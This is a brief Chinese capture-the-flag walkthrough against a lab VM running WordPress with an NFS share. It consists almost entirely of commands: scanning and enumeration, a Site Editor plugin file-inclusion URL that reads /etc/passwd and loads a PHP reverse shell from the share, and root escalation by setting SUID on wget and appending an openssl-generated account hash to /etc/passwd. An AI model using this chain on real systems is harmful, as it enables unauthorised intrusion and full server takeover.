此鏡像配置了靜態(tài)IP地址:10.10.10.10,需要調(diào)整下網(wǎng)絡(luò) 主機(jī)層掃描: ╰─ nmap -p1-65535 -sV -A 10.10.10.10
80/tcp open http Apache httpd 2.4.38 ((Ubuntu)) 443/tcp open ssl/https Apache/2.4.38 (Ubuntu) 2049/tcp open nfs_acl 3 (RPC #100227)
╰─ showmount -e 10.10.10.10 ╰─ ls -laRt
╰─ dirb http://10.10.10.10/ ---- Scanning URL: http://10.10.10.10/ ---- ╰─ wpscan --url http://10.10.10.10/wordpress/ ** Proof of Concept ** http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
結(jié)合剛才的NFS 文件權(quán)限,嘗試包含文件進(jìn)來 http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/php-reverse.php
進(jìn)行提權(quán)操作 find / -perm -u=s -type f 2>/dev/null which wget ls -lha /usr/bin/wget find /home -exec chmod u+s /usr/bin/wget \; ls -lh /usr/bin/wget 本地下載passwd文件 http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd ╰─ openssl passwd -1 -salt hack pass123 追加到passwd文件末尾。 完!
|
|